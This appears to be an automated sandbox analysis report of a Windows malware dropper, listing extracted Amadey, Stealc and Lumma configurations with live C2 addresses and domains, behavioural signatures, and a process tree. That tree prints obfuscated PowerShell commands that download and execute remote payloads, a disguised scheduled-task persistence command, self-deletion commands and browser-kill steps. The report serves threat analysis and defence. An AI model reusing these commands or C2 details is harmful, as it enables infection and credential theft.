Overview

overview

10

Static

static

3

4578d207fc...62.exe

windows7-x64

10

4578d207fc...62.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    14-12-2024 21:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    4578d207fc6610750df1d6005c8e1ba3c00bdf9b89d8ac6d49bb4e6904729062.exe

  • Size

    1.8MB

  • MD5

    9e50d297946c37d3a1d1da00762d4e48

  • SHA1

    f7c1f6d79350183902532f4f74c55110099418b7

  • SHA256

    4578d207fc6610750df1d6005c8e1ba3c00bdf9b89d8ac6d49bb4e6904729062

  • SHA512

    e6a29fabdf67f7080513a2ef677e324f8c94817c9504ab020a034a9fa6ae12c7935963be490842ace30b458ff8d51a9229887ff3a8bdca1b80472cc80925f114

  • SSDEEP

    49152:o9I0TNAwTWApTxMORD1vKsBFsAjthoLj:x0pAoZSmFsAjtW

Score
10/10
amadeylummastealc9c9aa5default_valencigafed3aastokcredential_accessdiscoveryevasionexecutionpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.11.61.104/Z.png

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.11.61.104/A.png

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain

Extracted

Family

stealc

Botnet

default_valenciga

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Extracted

Family

lumma

C2

https://impend-differ.biz/api

https://print-vexer.biz/api

https://dare-curbys.biz/api

https://covery-mover.biz/api

https://formy-spill.biz/api

https://dwell-exclaim.biz/api

https://zinc-sneark.biz/api

https://se-blurry.biz/api

https://drive-connect.cyou/api

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

https://tacitglibbr.biz/api

Extracted

Family

stealc

Botnet

stok

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

C2

https://drive-connect.cyou/api

https://tacitglibbr.biz/api

https://immureprech.biz/api

https://deafeninggeh.biz/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
    evasion
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 42 IoCs
  • Identifies Wine through registry keys 2 TTPs 9 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 19 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 38 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\4578d207fc6610750df1d6005c8e1ba3c00bdf9b89d8ac6d49bb4e6904729062.exe
    "C:\Users\Admin\AppData\Local\Temp\4578d207fc6610750df1d6005c8e1ba3c00bdf9b89d8ac6d49bb4e6904729062.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
      "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1028
      • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
        "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1868
      • C:\Users\Admin\AppData\Local\Temp\1001527001\alexshlu.exe
        "C:\Users\Admin\AppData\Local\Temp\1001527001\alexshlu.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2440
        • C:\Users\Admin\AppData\Local\Temp\1001527001\alexshlu.exe
          "C:\Users\Admin\AppData\Local\Temp\1001527001\alexshlu.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2012
      • C:\Users\Admin\AppData\Local\Temp\1003013001\AllNew.exe
        "C:\Users\Admin\AppData\Local\Temp\1003013001\AllNew.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2704
        • C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
          "C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2460
      • C:\Users\Admin\AppData\Local\Temp\1004899001\am209.exe
        "C:\Users\Admin\AppData\Local\Temp\1004899001\am209.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3000
        • C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe
          "C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1372
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
            5⤵
            • Blocklisted process makes network request
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:536
      • C:\Users\Admin\AppData\Local\Temp\1005242001\v_dolg.exe
        "C:\Users\Admin\AppData\Local\Temp\1005242001\v_dolg.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        PID:1760
      • C:\Users\Admin\AppData\Local\Temp\1006032001\Qtdedcpuf.exe
        "C:\Users\Admin\AppData\Local\Temp\1006032001\Qtdedcpuf.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2428
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2428 -s 620
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:3900
      • C:\Users\Admin\AppData\Local\Temp\1006092001\Ixpla.exe
        "C:\Users\Admin\AppData\Local\Temp\1006092001\Ixpla.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 632
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:4200
      • C:\Users\Admin\AppData\Local\Temp\1006252001\roblox.exe
        "C:\Users\Admin\AppData\Local\Temp\1006252001\roblox.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:4696
        • C:\Users\Admin\AppData\Local\Temp\onefile_4696_133786848238258000\stub.exe
          C:\Users\Admin\AppData\Local\Temp\1006252001\roblox.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4204
      • C:\Users\Admin\AppData\Local\Temp\1006343001\goldlummaa.exe
        "C:\Users\Admin\AppData\Local\Temp\1006343001\goldlummaa.exe"
        3⤵
        • Executes dropped EXE
        PID:1840
      • C:\Users\Admin\AppData\Local\Temp\1006479001\f2b1780301.exe
        "C:\Users\Admin\AppData\Local\Temp\1006479001\f2b1780301.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2980
      • C:\Users\Admin\AppData\Local\Temp\1006480001\8598c7fabe.exe
        "C:\Users\Admin\AppData\Local\Temp\1006480001\8598c7fabe.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        PID:900
        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
          "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:880
          • C:\Users\Admin\AppData\Local\Temp\1015193001\K6UAlAU.exe
            "C:\Users\Admin\AppData\Local\Temp\1015193001\K6UAlAU.exe"
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4144
          • C:\Users\Admin\AppData\Local\Temp\1015216001\wOKhy9f.exe
            "C:\Users\Admin\AppData\Local\Temp\1015216001\wOKhy9f.exe"
            5⤵
            • Executes dropped EXE
            PID:4444
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')|I`E`X"
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4584
              • C:\Windows\system32\ipconfig.exe
                "C:\Windows\system32\ipconfig.exe" /flushdns
                7⤵
                • Gathers network information
                PID:4976
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 4444 -s 592
              6⤵
                PID:4664
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/A.png'')'; $F=I`E`X ($L,$Y,$V -Join '')|I`E`X"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                PID:2960
            • C:\Users\Admin\AppData\Local\Temp\1015305001\94CwbGg.exe
              "C:\Users\Admin\AppData\Local\Temp\1015305001\94CwbGg.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:4424
              • C:\Windows\SysWOW64\msiexec.exe
                "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\eecac53463291819\ScreenConnect.ClientSetup.msi"
                6⤵
                • Enumerates connected drives
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                PID:1348
            • C:\Users\Admin\AppData\Local\Temp\1015322001\a5ae194c8f.exe
              "C:\Users\Admin\AppData\Local\Temp\1015322001\a5ae194c8f.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3888
            • C:\Users\Admin\AppData\Local\Temp\1015323001\3537c38a95.exe
              "C:\Users\Admin\AppData\Local\Temp\1015323001\3537c38a95.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4792
            • C:\Users\Admin\AppData\Local\Temp\1015324001\560c60443f.exe
              "C:\Users\Admin\AppData\Local\Temp\1015324001\560c60443f.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:2128
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:2020
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:2168
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:4992
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:4448
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:3268
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                6⤵
                  PID:3516
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    7⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:3840
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3840.0.1373655514\1686303831" -parentBuildID 20221007134813 -prefsHandle 1268 -prefMapHandle 1260 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c6dabea-e968-4e18-9943-7463218284c2} 3840 "\\.\pipe\gecko-crash-server-pipe.3840" 1332 f6d8558 gpu
                      8⤵
                        PID:5072
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3840.1.1106971117\58332243" -parentBuildID 20221007134813 -prefsHandle 1544 -prefMapHandle 1540 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3b1654b1-d2a3-431c-9662-ac3ee659c822} 3840 "\\.\pipe\gecko-crash-server-pipe.3840" 1556 f5f3158 socket
                        8⤵
                          PID:3208
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3840.2.325826932\157382634" -childID 1 -isForBrowser -prefsHandle 2108 -prefMapHandle 2104 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 760 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7b899ad6-51cf-430d-98ef-1548d080d574} 3840 "\\.\pipe\gecko-crash-server-pipe.3840" 2120 1a7c3358 tab
                          8⤵
                            PID:4224
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3840.3.509821609\1470290351" -childID 2 -isForBrowser -prefsHandle 2928 -prefMapHandle 2924 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 760 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8c7bad29-63c7-437c-9aaf-0f542f483888} 3840 "\\.\pipe\gecko-crash-server-pipe.3840" 2940 1b738158 tab
                            8⤵
                              PID:4512
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3840.4.1075463882\1815378245" -childID 3 -isForBrowser -prefsHandle 3700 -prefMapHandle 3656 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 760 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {91f13621-f41e-47fa-b76c-a1ad0f1264d5} 3840 "\\.\pipe\gecko-crash-server-pipe.3840" 3660 1a737858 tab
                              8⤵
                                PID:3904
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3840.5.579182407\546315985" -childID 4 -isForBrowser -prefsHandle 3800 -prefMapHandle 3804 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 760 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cbfbb74f-3ad0-4f0e-94d7-e924bf9c8176} 3840 "\\.\pipe\gecko-crash-server-pipe.3840" 3788 1a737b58 tab
                                8⤵
                                  PID:4408
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3840.6.1120591049\2090909400" -childID 5 -isForBrowser -prefsHandle 3964 -prefMapHandle 3968 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 760 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {41e55cb7-ddc6-4445-a001-79038f2d0340} 3840 "\\.\pipe\gecko-crash-server-pipe.3840" 3952 1a736058 tab
                                  8⤵
                                    PID:1588
                            • C:\Users\Admin\AppData\Local\Temp\1015325001\98ca6d86d7.exe
                              "C:\Users\Admin\AppData\Local\Temp\1015325001\98ca6d86d7.exe"
                              5⤵
                              • Modifies Windows Defender Real-time Protection settings
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Windows security modification
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3632
                            • C:\Users\Admin\AppData\Local\Temp\1015326001\47dca1f798.exe
                              "C:\Users\Admin\AppData\Local\Temp\1015326001\47dca1f798.exe"
                              5⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:1880
                              • C:\Windows\system32\cmd.exe
                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
                                6⤵
                                  PID:1452
                                  • C:\Windows\system32\mode.com
                                    mode 65,10
                                    7⤵
                                      PID:1932
                                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                      7z.exe e file.zip -p24291711423417250691697322505 -oextracted
                                      7⤵
                                      • Executes dropped EXE
                                      PID:1796
                                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                      7z.exe e extracted/file_7.zip -oextracted
                                      7⤵
                                      • Executes dropped EXE
                                      PID:3192
                                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                      7z.exe e extracted/file_6.zip -oextracted
                                      7⤵
                                      • Executes dropped EXE
                                      PID:3364
                                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                      7z.exe e extracted/file_5.zip -oextracted
                                      7⤵
                                      • Executes dropped EXE
                                      PID:1544
                                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                      7z.exe e extracted/file_4.zip -oextracted
                                      7⤵
                                      • Executes dropped EXE
                                      PID:3728
                                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                      7z.exe e extracted/file_3.zip -oextracted
                                      7⤵
                                      • Executes dropped EXE
                                      PID:636
                                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                      7z.exe e extracted/file_2.zip -oextracted
                                      7⤵
                                      • Executes dropped EXE
                                      PID:1380
                                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                      7z.exe e extracted/file_1.zip -oextracted
                                      7⤵
                                      • Executes dropped EXE
                                      PID:2160
                                    • C:\Windows\system32\attrib.exe
                                      attrib +H "in.exe"
                                      7⤵
                                      • Views/modifies file attributes
                                      PID:3416
                                    • C:\Users\Admin\AppData\Local\Temp\main\in.exe
                                      "in.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      PID:1556
                                      • C:\Windows\system32\attrib.exe
                                        attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                        8⤵
                                        • Views/modifies file attributes
                                        PID:3372
                                      • C:\Windows\system32\attrib.exe
                                        attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                        8⤵
                                        • Views/modifies file attributes
                                        PID:4596
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                                        8⤵
                                        • Scheduled Task/Job: Scheduled Task
                                        PID:3892
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell ping 127.0.0.1; del in.exe
                                        8⤵
                                        • System Network Configuration Discovery: Internet Connection Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4416
                                        • C:\Windows\system32\PING.EXE
                                          "C:\Windows\system32\PING.EXE" 127.0.0.1
                                          9⤵
                                          • System Network Configuration Discovery: Internet Connection Discovery
                                          • Runs ping.exe
                                          PID:2080
                                • C:\Users\Admin\AppData\Local\Temp\1015327001\H9TU4oY.exe
                                  "C:\Users\Admin\AppData\Local\Temp\1015327001\H9TU4oY.exe"
                                  5⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4464
                                • C:\Users\Admin\AppData\Local\Temp\1015328001\093d3a4819.exe
                                  "C:\Users\Admin\AppData\Local\Temp\1015328001\093d3a4819.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • System Location Discovery: System Language Discovery
                                  PID:4248
                                  • C:\Users\Admin\AppData\Local\Temp\1015328001\093d3a4819.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1015328001\093d3a4819.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    PID:4272
                                • C:\Users\Admin\AppData\Local\Temp\1015329001\c5595247f7.exe
                                  "C:\Users\Admin\AppData\Local\Temp\1015329001\c5595247f7.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Checks processor information in registry
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:268
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1015329001\c5595247f7.exe" & rd /s /q "C:\ProgramData\XT0RIWTJM7GV" & exit
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3312
                                    • C:\Windows\SysWOW64\timeout.exe
                                      timeout /t 10
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Delays execution with timeout.exe
                                      PID:4656
                        • C:\Windows\system32\msiexec.exe
                          C:\Windows\system32\msiexec.exe /V
                          1⤵
                          • Enumerates connected drives
                          • Boot or Logon Autostart Execution: Authentication Package
                          • Drops file in Program Files directory
                          • Drops file in Windows directory
                          • Modifies data under HKEY_USERS
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:336
                          • C:\Windows\syswow64\MsiExec.exe
                            C:\Windows\syswow64\MsiExec.exe -Embedding 86B296F35FCE27A8B647DBDF18515791 C
                            2⤵
